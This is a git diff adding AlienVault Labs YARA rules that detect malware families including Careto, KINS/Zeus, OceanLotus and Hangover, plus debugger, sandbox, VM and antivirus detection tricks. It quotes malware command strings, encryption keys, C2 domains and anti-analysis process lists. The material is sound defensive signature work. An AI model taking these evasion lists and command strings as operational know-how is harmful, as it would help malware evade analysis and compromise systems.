+		$name1 = "Careto" ascii wide
+		$s_1 = "GetSystemReport" ascii wide
+		$s_2 = "SystemReport.txt" ascii wide
+		$s_3 = /URL_AUX\w*=/ ascii wide
+		$s_4 = /CaretoPruebas.+release/
+
+		/* Certificate */
+		$sign_0 = "Sofia"
+		$sign_1 = "TecSystem Ltd"
+		$sign_2 = "<<<Obsolete>>>" wide
+
+		/* Encryption keys */
+		$rc4_1 = "!$7be&.Kaw-12[}" ascii wide
+		$rc4_2 = "Caguen1aMar" ascii wide
+		/* http://laboratorio.blogs.hispasec.com/2014/02/analisis-del-algoritmo-de-descifrado.html */
+		$rc4_3 = {8d 85 86 8a 8f 80 88 83 8d 82 88 85 86 8f 8f 87 8d 82 83 82 8c 8e 83 8d 89 82 86 87 82 83 83 81}
+
+		/* Decryption routine fragment */
+		$dec_1 = {8b 4d 08 0f be 04 59 0f be 4c 59 01 2b c7 c1 e0 04 2b cf 0b c1 50 8d 85 f0 fe ff ff}
+		$dec_2 = {8b 4d f8 8b 16 88 04 11 8b 06 41 89 4d f8 c6 04 01 00 43 3b 5d fc}
+
+	condition:
+		$name1 and (any of ($s_*)) or all of ($sign_*) or any of ($rc4_*) or all of ($dec_*)
+}
+
+rule Careto_CnC {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto CnC communication signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		$1 = "cgi-bin/commcgi.cgi" ascii wide
+		$2 = "Group" ascii wide
+		$3 = "Install" ascii wide
+		$4 = "Bn" ascii wide
+	condition:
+		all of them
+}
+
+rule Careto_CnC_domains {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto known command and control domains"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		$1 = "linkconf.net" ascii wide nocase
+		$2 = "redirserver.net" ascii wide nocase
+		$3 = "swupdt.com" ascii wide nocase
+	condition:
+		any of them
+}
+
+rule Careto_OSX_SBD {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto OSX component signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		/* XORed "/dev/null strdup() setuid(geteuid())" */
+		$1 = {FF 16 64 0A 7E 1A 63 4D 21 4D 3E 1E 60 0F 7C 1A 65 0F 74 0B 3E 1C 7F 12}
+	condition:
+		all of them
+}
+
+rule Careto_SGH {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto SGH component signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		$m1 = "PGPsdkDriver" ascii wide fullword
+		$m2 = "jpeg1x32" ascii wide fullword
+		$m3 = "SkypeIE6Plugin" ascii wide fullword
+		$m4 = "CDllUninstall" ascii wide fullword
+	condition:
+		2 of them
+}
+
+rule dbgdetect_files : dbgdetect
+{
+	meta:
+		author = "AlienVault Labs"
+		type = "info"
+		severity = 1
+		description = "Debugger detection tricks"
+	strings:
+		$file1 = "syserdbgmsg" nocase ascii wide
+		$file2 = "syserboot" nocase ascii wide
+		$file3 = "SICE" nocase ascii wide
+		$file4 = "NTICE" nocase ascii wide
+	condition:
+		2 of them
+}
+
+rule dbgdetect_funcs : dbgdetect
+{
+	meta:
+		author = "AlienVault Labs"
+		type = "info"
+		severity = 1
+		description = "Debugger detection tricks"
+
+	strings:
+		$func1 = "IsDebuggerPresent"
+		$func2 = "OutputDebugString"
+		$func3 = "ZwQuerySystemInformation"
+		$func4 = "ZwQueryInformationProcess"
+		$func5 = "IsDebugged"
+		$func6 = "NtGlobalFlags"
+		$func7 = "CheckRemoteDebuggerPresent"
+		$func8 = "SetInformationThread"
+		$func9 = "DebugActiveProcess"
+
+	condition:
+		2 of them
+}
+
+rule dbgdetect_procs : dbgdetect
+{
+	meta:
+		author = "AlienVault Labs"
+		type = "info"
+		severity = 1
+		description = "Debugger detection tricks"
+
+	strings:
+		$proc1 = "wireshark" nocase ascii wide
+		$proc2 = "filemon" nocase ascii wide
+		$proc3 = "procexp" nocase ascii wide
+		$proc4 = "procmon" nocase ascii wide
+		$proc5 = "regmon" nocase ascii wide
+		$proc6 = "idag" nocase ascii wide
+		$proc7 = "immunitydebugger" nocase ascii wide
+		$proc8 = "ollydbg" nocase ascii wide
+		$proc9 = "petools" nocase ascii wide
+
+	condition:
+		2 of them
+}
+
+rule GeorBotBinary
+{
+meta:
+	Author = "AlienVault"
+	reference = "https://www.alienvault.com/blogs/labs-research/georbot-botnet-a-cyber-espionage-campaign-against-georgian-government"
+strings:
+	$a = {63 72 ?? 5F 30 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C}
+
+condition:
+	all of them
+}
+
+rule GeorBotMemory
+{
+meta:
+	Author = "AlienVault"
+	reference = "https://www.alienvault.com/blogs/labs-research/georbot-botnet-a-cyber-espionage-campaign-against-georgian-government"
+strings:
+	$a = {53 4F 46 54 57 41 52 45 5C 00 4D 69 63 72 6F 73 6F 66 74 5C 00 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 00 52 75 6E 00 55 53 42 53 45 52 56}
+	$b = {73 79 73 74 65 6D 33 32 5C 75 73 62 73 65 72 76 2E 65 78 65}
+	$c = {5C 75 73 62 73 65 72 76 2E 65 78 65}
+condition:
+	$a and ($b or $c)
+}
+
+rule KINS_DLL_zeus {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match default bot in KINS leaked dropper, Zeus"
+	strings:
+		// Network protocol
+		$n1 = "%BOTID%" fullword
+		$n2 = "%opensocks%" fullword
+		$n3 = "%openvnc%" fullword
+		$n4 = /Global\\(s|v)_ev/ fullword
+		// Crypted strings
+		$s1 = "\x72\x6E\x6D\x2C\x36\x7D\x76\x77"
+		$s2 = "\x18\x04\x0F\x12\x16\x0A\x1E\x08\x5B\x11\x0F\x13"
+		$s3 = "\x39\x1F\x01\x07\x15\x19\x1A\x33\x19\x0D\x1F"
+		$s4 = "\x62\x6F\x71\x78\x63\x61\x7F\x69\x2D\x67\x79\x65"
+		$s5 = "\x6F\x69\x7F\x6B\x61\x53\x6A\x7C\x73\x6F\x71"
+	condition:
+		all of ($n*) and 1 of ($s*)
+}
+
+rule KINS_dropper {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match protocol, process injects and windows exploit present in KINS dropper"
+	strings:
+		// Network protocol
+		$n1 = "tid=%d&ta=%s-%x" fullword
+		$n2 = "fid=%d" fullword
+		$n3 = "%[^.].%[^(](%[^)])" fullword
+		// Injects
+		$i0 = "%s [%s %d] 77 %s"
+		$i01 = "Global\\%s%x"
+		$i1 = "Inject::InjectProcessByName()"
+		$i2 = "Inject::CopyImageToProcess()"
+		$i3 = "Inject::InjectProcess()"
+		$i4 = "Inject::InjectImageToProcess()"
+		$i5 = "Drop::InjectStartThread()"
+		// UAC bypass
+		$uac1 = "ExploitMS10_092"
+		$uac2 = "\\globalroot\\systemroot\\system32\\tasks\\" ascii wide
+		$uac3 = "<RunLevel>HighestAvailable</RunLevel>" ascii wide
+	condition:
+		2 of ($n*) and 2 of ($i*) and 2 of ($uac*)
+}
+
+rule leverage_a
+{
+	meta:
+		author = "earada@alienvault.com"
+		version = "1.0"
+		description = "OSX/Leverage.A"
+		date = "2013/09"
+	strings:
+		$a1 = "ioreg -l | grep \"IOPlatformSerialNumber\" | awk -F"
+		$a2 = "+:Users:Shared:UserEvent.app:Contents:MacOS:"
+		$a3 = "rm '/Users/Shared/UserEvent.app/Contents/Resources/UserEvent.icns'"
+		$script1 = "osascript -e 'tell application \"System Events\" to get the hidden of every login item'"
+		$script2 = "osascript -e 'tell application \"System Events\" to get the name of every login item'"
+		$script3 = "osascript -e 'tell application \"System Events\" to get the path of every login item'"
+		$properties = "serverVisible \x00"
+	condition:
+		all of them
+}
+rule sandboxdetect_misc : sandboxdetect
+{
+	meta:
+		author = "AlienVault Labs"
+		type = "info"
+		severity = 1
+		description = "Sandbox detection tricks"
+
+	strings:
+		$sbxie1 = "sbiedll" nocase ascii wide
+
+		// CWSandbox
+		$prodid1 = "55274-640-2673064-23950" ascii wide
+		$prodid2 = "76487-644-3177037-23510" ascii wide
+		$prodid3 = "76487-337-8429955-22614" ascii wide
+
+		$proc1 = "joeboxserver" ascii wide
+		$proc2 = "joeboxcontrol" ascii wide
+	condition:
+		any of them
+}
+rule urausy_skype_dat {
+	meta:
+		author = "AlienVault Labs"
+		description = "Yara rule to match against memory of processes infected by Urausy skype.dat"
+	strings:
+		$a = "skype.dat" ascii wide
+		$b = "skype.ini" ascii wide
+		$win1 = "CreateWindow"
+		$win2 = "YIWEFHIWQ" ascii wide
+		$desk1 = "CreateDesktop"
+		$desk2 = "MyDesktop" ascii wide
+	condition:
+		$a and $b and (all of ($win*) or all of ($desk*))
+}
+
+rule vmdetect_misc : vmdetect
+{
+	meta:
+		author = "AlienVault Labs"
+		type = "info"
+		severity = 1
+		description = "Virtual Machine detection tricks"
+
+	strings:
+		$vbox1 = "VBoxService" nocase ascii wide
+		$vbox2 = "VBoxTray" nocase ascii wide
+		$vbox3 = "SOFTWARE\\Oracle\\VirtualBox Guest Additions" nocase ascii wide
+		$vbox4 = "SOFTWARE\\\\Oracle\\\\VirtualBox Guest Additions" nocase ascii wide
+
+		$wine1 = "wine_get_unix_file_name" ascii wide
+
+		$vmware1 = "vmmouse.sys" ascii wide
+		$vmware2 = "VMware Virtual IDE Hard Drive" ascii wide
+
+		$miscvm1 = "SYSTEM\\ControlSet001\\Services\\Disk\\Enum" nocase ascii wide
+		$miscvm2 = "SYSTEM\\\\ControlSet001\\\\Services\\\\Disk\\\\Enum" nocase ascii wide
+
+		// Drivers
+		$vmdrv1 = "hgfs.sys" ascii wide
+		$vmdrv2 = "vmhgfs.sys" ascii wide
+		$vmdrv3 = "prleth.sys" ascii wide
+		$vmdrv4 = "prlfs.sys" ascii wide
+		$vmdrv5 = "prlmouse.sys" ascii wide
+		$vmdrv6 = "prlvideo.sys" ascii wide
+		$vmdrv7 = "prl_pv32.sys" ascii wide
+		$vmdrv8 = "vpc-s3.sys" ascii wide
+		$vmdrv9 = "vmsrvc.sys" ascii wide
+		$vmdrv10 = "vmx86.sys" ascii wide
+		$vmdrv11 = "vmnet.sys" ascii wide
+
+		// SYSTEM\ControlSet001\Services
+		$vmsrvc1 = "vmicheartbeat" ascii wide
+		$vmsrvc2 = "vmicvss" ascii wide
+		$vmsrvc3 = "vmicshutdown" ascii wide
+		$vmsrvc4 = "vmicexchange" ascii wide
+		$vmsrvc5 = "vmci" ascii wide
+		$vmsrvc6 = "vmdebug" ascii wide
+		$vmsrvc7 = "vmmouse" ascii wide
+		$vmsrvc8 = "VMTools" ascii wide
+		$vmsrvc9 = "VMMEMCTL" ascii wide
+		$vmsrvc10 = "vmware" ascii wide
+		$vmsrvc11 = "vmx86" ascii wide
+		$vmsrvc12 = "vpcbus" ascii wide
+		$vmsrvc13 = "vpc-s3" ascii wide
+		$vmsrvc14 = "vpcuhub" ascii wide
+		$vmsrvc15 = "msvmmouf" ascii wide
+		$vmsrvc16 = "VBoxMouse" ascii wide
+		$vmsrvc17 = "VBoxGuest" ascii wide
+		$vmsrvc18 = "VBoxSF" ascii wide
+		$vmsrvc19 = "xenevtchn" ascii wide
+		$vmsrvc20 = "xennet" ascii wide
+		$vmsrvc21 = "xennet6" ascii wide
+		$vmsrvc22 = "xensvc" ascii wide
+		$vmsrvc23 = "xenvdb" ascii wide
+
+		// Processes
+		$miscproc1 = "vmware2" ascii wide
+		$miscproc2 = "vmount2" ascii wide
+		$miscproc3 = "vmusrvc" ascii wide
+		$miscproc4 = "vmsrvc" ascii wide
+		$miscproc5 = "vboxservice" ascii wide
+		$miscproc6 = "vboxtray" ascii wide
+		$miscproc7 = "xenservice" ascii wide
+
+		$vmware_mac_1a = "00-05-69"
+		$vmware_mac_1b = "00:05:69"
+		$vmware_mac_2a = "00-50-56"
+		$vmware_mac_2b = "00:50:56"
+		$vmware_mac_3a = "00-0C-29"
+		$vmware_mac_3b = "00:0C:29"
+		$vmware_mac_4a = "00-1C-14"
+		$vmware_mac_4b = "00:1C:14"
+		$virtualbox_mac_1a = "08-00-27"
+		$virtualbox_mac_1b = "08:00:27"
+
+	condition:
+		2 of them
+}
+
+rule oceanlotus_xor_decode
+{
+        meta:
+               author = "AlienVault Labs"
+               type = "malware"
+               description = "OceanLotus XOR decode function"
+               reference = "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
+    strings:
+        $xor_decode = { 89 D2 41 8A ?? ?? [0-1] 32 0? 88 ?? FF C2 [0-1] 39 ?A [0-1] 0F 43 D? 4? FF C? 48 FF C? [0-1] FF C? 75 E3 }
+    condition:
+        $xor_decode
+}
+
+rule oceanlotus_constants
+{
+        meta:
+               author = "AlienVault Labs"
+               type = "malware"
+               description = "OceanLotus constants"
+               reference = "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
+    strings:
+        $c1 = { 3A 52 16 25 11 19 07 14 3D 08 0F }
+        $c2 = { 0F 08 3D 14 07 19 11 25 16 52 3A }
+    condition:
+        any of them
+}
+
+rule CaptainWord {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/cyber-espionage-campaign-against-the-uyghur-community-targeting-macosx-syst"
+        
+
+    strings:
+
+         $header = {D0 CF 11 E0 A1 B1 1A E1}
+
+         $author = {00 00 00 63 61 70 74 61 69 6E 00}
+
+    condition:
+
+         $header at 0 and $author
+
+}
+
+
+rule Hangover2_Keylogger
+
+{
+  meta:
+    author = "Alienvault Labs"
+    reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+  strings:
+
+    $a = "iconfall" wide ascii
+
+    $b = "/c ipconfig /all > "" wide ascii
+
+    $c = "Global\{CHKAJESKRB9-35NA7-94Y436G37KGT}" wide ascii
+
+  condition:
+
+    all of them
+
+}
+
+rule Hangover_ron_babylon
+{
+  meta:
+    author = "Alienvault Labs"
+    reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+
+  strings:
+    $a = "Content-Disposition: form-data; name=\"uploaddir\""
+    $b1 = "MBVDFRESCT"
+    $b2 = "EMSCBVDFRT"
+    $b3 = "EMSFRTCBVD"
+    $b4= "sendFile"
+    $b5 = "BUGMAAL"
+    $b6 = "sMAAL"
+    $b7 = "SIMPLE"
+    $b8 = "SPLIME"
+    $b9 = "getkey.php"
+    $b10 = "MBVDFRESCT"
+    $b11 = "DSMBVCTFRE"
+    $b12 = "MBESCVDFRT"
+    $b13 = "TCBFRVDEMS"
+    $b14 = "DEMOMAKE"
+    $b15 = "DEMO"
+    $b16 = "UPHTTP"
+    
+
+    $c1 = "F39D45E70395ABFB8D8D2BFFC8BBD152"
+    $c2 = "90B452BFFF3F395ABDC878D8BEDBD152"
+    $c3 = "FFF3F395A90B452BB8BEDC878DDBD152"
+    $c4 = "5A9DCB8FFF3F02B8B45BE39D152"
+    $c5 = "5A902B8B45BEDCB8FFF3F39D152"
+    $c6 = "78DDB5A902BB8FFF3F398B45BEDCD152"
+    $c7 = "905ABEB452BFFFBDC878D83F39DBD152"
+    $c8 = "D2BFFC8BBD152F3B8D89D45E70395ABF"
+    $c9 = "8765F3F395A90B452BB8BEDC878"
+    $c10 = "90ABDC878D8BEDBB452BFFF3F395D152"
+    $c11 = "F12BDC94490B452AA8AEDC878DCBD187"
+    
+  condition:
+    $a and (1 of ($b*) or 1 of ($c*))
+    
+}
+
+rule Hangover_Fuddol {
+    meta:
+        author = "Alienvault Labs"
+        referemce = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a = "\\Http downloader(fud)"
+        $b = "Fileexists"
+    condition:
+        all of them
+
+}
+
+rule Hangover_UpdateEx {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "UpdateEx"
+        $a2 = "VBA6.DLL"
+        $a3 = "MainEx"
+        $a4 = "GetLogs"
+        $a5 = "ProMan"
+        $a6 = "RedMod"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Tymtin_Degrab {
+    meta:
+         author = "Alienvault Labs"
+         reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "&dis=no&utp=op&mfol="
+        $a2 = "value1=1&value2=2"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Smackdown_Downloader {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "DownloadComplete"
+        $a2 = "DownloadProgress"
+        $a3 = "DownloadError"
+        $a4 = "UserControl"
+        $a5 = "MSVBVM60.DLL"
+
+        $b1 = "syslide"
+        $b2 = "frmMina"
+        $b3 = "Soundsman"
+        $b4 = "New_upl"
+        $b5 = "MCircle"
+        $b6 = "shells_DataArrival"
+        
+    condition:
+        3 of ($a*) and 1 of ($b*)
+
+}
+
+
+rule Hangover_Vacrhan_Downloader {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "pranVacrhan"
+        $a2 = "VBA6.DLL"
+        $a3 = "Timer1"
+        $a4 = "Timer2"
+        $a5 = "IsNTAdmin"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Smackdown_various {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "pranVacrhan"
+        $a2 = "NaramGaram"
+        $a3 = "vampro"
+        $a4 = "AngelPro"
+        
+        $b1 = "VBA6.DLL"
+        $b2 = "advpack"
+        $b3 = "IsNTAdmin"
+        
+        
+    condition:
+        1 of ($a*) and all of ($b*)
+
+}
+
+rule Hangover_Foler {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "\\MyHood"
+        $a2 = "UsbP"
+        $a3 = "ID_MON"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Appinbot {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "CreateToolhelp32Snapshot"
+        $a2 = "Process32First"
+        $a3 = "Process32Next"
+        $a4 = "FIDR/"
+        $a5 = "SUBSCRIBE %d"
+        $a6 = "CLOSE %d"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Linog {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "uploadedfile"
+        $a2 = "Error in opening a file.."
+        $a3 = "The file could not be opened"
+        $a4 = "%sContent-Disposition: form-data; name=\"%s\";filename=\"%s\""
+
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Iconfall {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "iconfall"
+        $a2 = "78DDB5A902BB8FFF3F398B45BEDCD152"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Deksila {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "WinInetGet/0.1"
+        $a2 = "dekstop2007.ico"
+        $a3 = "mozila20"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Auspo {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV2)"
+        $a2 = "POWERS"
+        $a3 = "AUSTIN"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Slidewin {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "[NumLock]"
+        $a2 = "[ScrlLock]"
+        $a3 = "[LtCtrl]"
+        $a4 = "[RtCtrl]"
+        $a5 = "[LtAlt]"
+        $a6 = "[RtAlt]"
+        $a7 = "[HomePage]"
+        $a8 = "[MuteOn/Off]"
+        $a9 = "[VolDn]"
+        $a10 = "[VolUp]"
+        $a11 = "[Play/Pause]"
+        $a12 = "[MailBox]"
+        $a14 = "[Calc]"
+        $a15 = "[Unknown]"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Gimwlog {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "file closed---------------------"
+        $a2 = "new file------------------"
+        $a3 = "md C:\\ApplicationData\\Prefetch\\"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Gimwup {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "=======inside while==========="
+        $a2 = "scan finished"
+        $a3 = "logFile.txt"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover2_Downloader {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+
+  strings:
+
+    $a = "WinInetGet/0.1" wide ascii
+
+    $b = "Excep while up" wide ascii
+
+    $c = "&file=" wide ascii
+
+    $d = "&str=" wide ascii
+
+    $e = "?cn=" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_stealer {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+
+  strings:
+
+    $a = "MyWebClient" wide ascii
+
+    $b = "Location: {[0-9]+}" wide ascii
+
+    $c = "[%s]:[C-%s]:[A-%s]:[W-%s]:[S-%d]" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_backdoor_shell {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+
+  strings:
+
+    $a = "Shell started at: " wide ascii
+
+    $b = "Shell closed at: " wide ascii
+
+    $c = "Shell is already closed!" wide ascii
+
+    $d = "Shell is not Running!" wide ascii
+
+  condition:
+
+    all of them
+}
+
+ 
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/avdetect_procs.yar b/yara-mikesxrs/alienvault/avdetect_procs.yar
new file mode 100644
index 0000000..5496fa5
--- /dev/null
+++ b/yara-mikesxrs/alienvault/avdetect_procs.yar
@@ -0,0 +1,210 @@
+rule avdetect_procs : avdetect
+{
+	meta:
+		author = "AlienVault Labs"
+		type = "info"
+		severity = 1
+		description = "Antivirus detection tricks"
+
+	strings:
+		$proc2 = "LMon.exe" ascii wide
+		$proc3 = "sagui.exe" ascii wide
+		$proc4 = "RDTask.exe" ascii wide
+		$proc5 = "kpf4gui.exe" ascii wide
+		$proc6 = "ALsvc.exe" ascii wide
+		$proc7 = "pxagent.exe" ascii wide
+		$proc8 = "fsma32.exe" ascii wide
+		$proc9 = "licwiz.exe" ascii wide
+		$proc10 = "SavService.exe" ascii wide
+		$proc11 = "prevxcsi.exe" ascii wide
+		$proc12 = "alertwall.exe" ascii wide
+		$proc13 = "livehelp.exe" ascii wide
+		$proc14 = "SAVAdminService.exe" ascii wide
+		$proc15 = "csi-eui.exe" ascii wide
+		$proc16 = "mpf.exe" ascii wide
+		$proc17 = "lookout.exe" ascii wide
+		$proc18 = "savprogress.exe" ascii wide
+		$proc19 = "lpfw.exe" ascii wide
+		$proc20 = "mpfcm.exe" ascii wide
+		$proc21 = "emlproui.exe" ascii wide
+		$proc22 = "savmain.exe" ascii wide
+		$proc23 = "outpost.exe" ascii wide
+		$proc24 = "fameh32.exe" ascii wide
+		$proc25 = "emlproxy.exe" ascii wide
+		$proc26 = "savcleanup.exe" ascii wide
+		$proc27 = "filemon.exe" ascii wide
+		$proc28 = "AntiHook.exe" ascii wide
+		$proc29 = "endtaskpro.exe" ascii wide
+		$proc30 = "savcli.exe" ascii wide
+		$proc31 = "procmon.exe" ascii wide
+		$proc32 = "xfilter.exe" ascii wide
+		$proc33 = "netguardlite.exe" ascii wide
+		$proc34 = "backgroundscanclient.exe" ascii wide
+		$proc35 = "Sniffer.exe" ascii wide
+		$proc36 = "scfservice.exe" ascii wide
+		$proc37 = "oasclnt.exe" ascii wide
+		$proc38 = "sdcservice.exe" ascii wide
+		$proc39 = "acs.exe" ascii wide
+		$proc40 = "scfmanager.exe" ascii wide
+		$proc41 = "omnitray.exe" ascii wide
+		$proc42 = "sdcdevconx.exe" ascii wide
+		$proc43 = "aupdrun.exe" ascii wide
+		$proc44 = "spywaretermin" ascii wide
+		$proc45 = "atorshield.exe" ascii wide
+		$proc46 = "onlinent.exe" ascii wide
+		$proc47 = "sdcdevconIA.exe" ascii wide
+		$proc48 = "sppfw.exe" ascii wide
+		$proc49 = "spywat~1.exe" ascii wide
+		$proc50 = "opf.exe" ascii wide
+		$proc51 = "sdcdevcon.exe" ascii wide
+		$proc52 = "spfirewallsvc.exe" ascii wide
+		$proc53 = "ssupdate.exe" ascii wide
+		$proc54 = "pctavsvc.exe" ascii wide
+		$proc55 = "configuresav.exe" ascii wide
+		$proc56 = "fwsrv.exe" ascii wide
+		$proc57 = "terminet.exe" ascii wide
+		$proc58 = "pctav.exe" ascii wide
+		$proc59 = "alupdate.exe" ascii wide
+		$proc60 = "opfsvc.exe" ascii wide
+		$proc61 = "tscutynt.exe" ascii wide
+		$proc62 = "pcviper.exe" ascii wide
+		$proc63 = "InstLsp.exe" ascii wide
+		$proc64 = "uwcdsvr.exe" ascii wide
+		$proc65 = "umxtray.exe" ascii wide
+		$proc66 = "persfw.exe" ascii wide
+		$proc67 = "CMain.exe" ascii wide
+		$proc68 = "dfw.exe" ascii wide
+		$proc69 = "updclient.exe" ascii wide
+		$proc70 = "pgaccount.exe" ascii wide
+		$proc71 = "CavAUD.exe" ascii wide
+		$proc72 = "ipatrol.exe" ascii wide
+		$proc73 = "webwall.exe" ascii wide
+		$proc74 = "privatefirewall3.exe" ascii wide
+		$proc75 = "CavEmSrv.exe" ascii wide
+		$proc76 = "pcipprev.exe" ascii wide
+		$proc77 = "winroute.exe" ascii wide
+		$proc78 = "protect.exe" ascii wide
+		$proc79 = "Cavmr.exe" ascii wide
+		$proc80 = "prifw.exe" ascii wide
+		$proc81 = "apvxdwin.exe" ascii wide
+		$proc82 = "rtt_crc_service.exe" ascii wide
+		$proc83 = "Cavvl.exe" ascii wide
+		$proc84 = "tzpfw.exe" ascii wide
+		$proc85 = "as3pf.exe" ascii wide
+		$proc86 = "schedulerdaemon.exe" ascii wide
+		$proc87 = "CavApp.exe" ascii wide
+		$proc88 = "privatefirewall3.exe" ascii wide
+		$proc89 = "avas.exe" ascii wide
+		$proc90 = "sdtrayapp.exe" ascii wide
+		$proc91 = "CavCons.exe" ascii wide
+		$proc92 = "pfft.exe" ascii wide
+		$proc93 = "avcom.exe" ascii wide
+		$proc94 = "siteadv.exe" ascii wide
+		$proc95 = "CavMud.exe" ascii wide
+		$proc96 = "armorwall.exe" ascii wide
+		$proc97 = "avkproxy.exe" ascii wide
+		$proc98 = "sndsrvc.exe" ascii wide
+		$proc99 = "CavUMAS.exe" ascii wide
+		$proc100 = "app_firewall.exe" ascii wide
+		$proc101 = "avkservice.exe" ascii wide
+		$proc102 = "snsmcon.exe" ascii wide
+		$proc103 = "UUpd.exe" ascii wide
+		$proc104 = "blackd.exe" ascii wide
+		$proc105 = "avktray.exe" ascii wide
+		$proc106 = "snsupd.exe" ascii wide
+		$proc107 = "cavasm.exe" ascii wide
+		$proc108 = "blackice.exe" ascii wide
+		$proc109 = "avkwctrl.exe" ascii wide
+		$proc110 = "procguard.exe" ascii wide
+		$proc111 = "CavSub.exe" ascii wide
+		$proc112 = "umxagent.exe" ascii wide
+		$proc113 = "avmgma.exe" ascii wide
+		$proc114 = "DCSUserProt.exe" ascii wide
+		$proc115 = "CavUserUpd.exe" ascii wide
+		$proc116 = "kpf4ss.exe" ascii wide
+		$proc117 = "avtask.exe" ascii wide
+		$proc118 = "avkwctl.exe" ascii wide
+		$proc119 = "CavQ.exe" ascii wide
+		$proc120 = "tppfdmn.exe" ascii wide
+		$proc121 = "aws.exe" ascii wide
+		$proc122 = "firewall.exe" ascii wide
+		$proc123 = "Cavoar.exe" ascii wide
+		$proc124 = "blinksvc.exe" ascii wide
+		$proc125 = "bgctl.exe" ascii wide
+		$proc126 = "THGuard.exe" ascii wide
+		$proc127 = "CEmRep.exe" ascii wide
+		$proc128 = "sp_rsser.exe" ascii wide
+		$proc129 = "bgnt.exe" ascii wide
